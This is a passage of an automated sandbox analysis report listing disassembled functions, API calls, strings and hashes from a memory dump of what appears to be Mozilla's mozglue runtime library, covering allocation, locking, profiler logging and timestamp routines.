Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
NtMapViewOfSection, xrefs: 6C669701

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83
<none>, xrefs: 6C69DFD7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

\ml, xrefs: 6C651F3E
Dml, xrefs: 6C651F32
Dml, xrefs: 6C651F56
MOZ_CRASH(), xrefs: 6C652000

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C698ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C65EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C69B392,?,?,00000001), ref: 6C6991F4

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Strings

name, xrefs: 6C698F16
marker-chart, xrefs: 6C69905E
timeline-memory, xrefs: 6C699088
timeline-ipc, xrefs: 6C699096
timeline-fileio, xrefs: 6C6990A4
stack-chart, xrefs: 6C6990B2
timeline-overview, xrefs: 6C69907A
data, xrefs: 6C6990E8
marker-table, xrefs: 6C69906C

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction ID: e91fcf3a85a4a0ae094e2106f39310f51662bf5ea7707ab1be9b0a83cbe8eee1
Opcode Fuzzy Hash: a46f793aff704f56e277412be1ddd98c51ea3a825d501873c4d8477a647ad1d8
Instruction Fuzzy Hash: 55B1A3B0B0120A9BDF04CF95C4917EEBBB5EF85318F204419D506ABF80D771A955CBEA

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

inf, xrefs: 6C67C78F
nan, xrefs: 6C67C7A8
INF, xrefs: 6C67C794
NAN, xrefs: 6C67C7AD

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
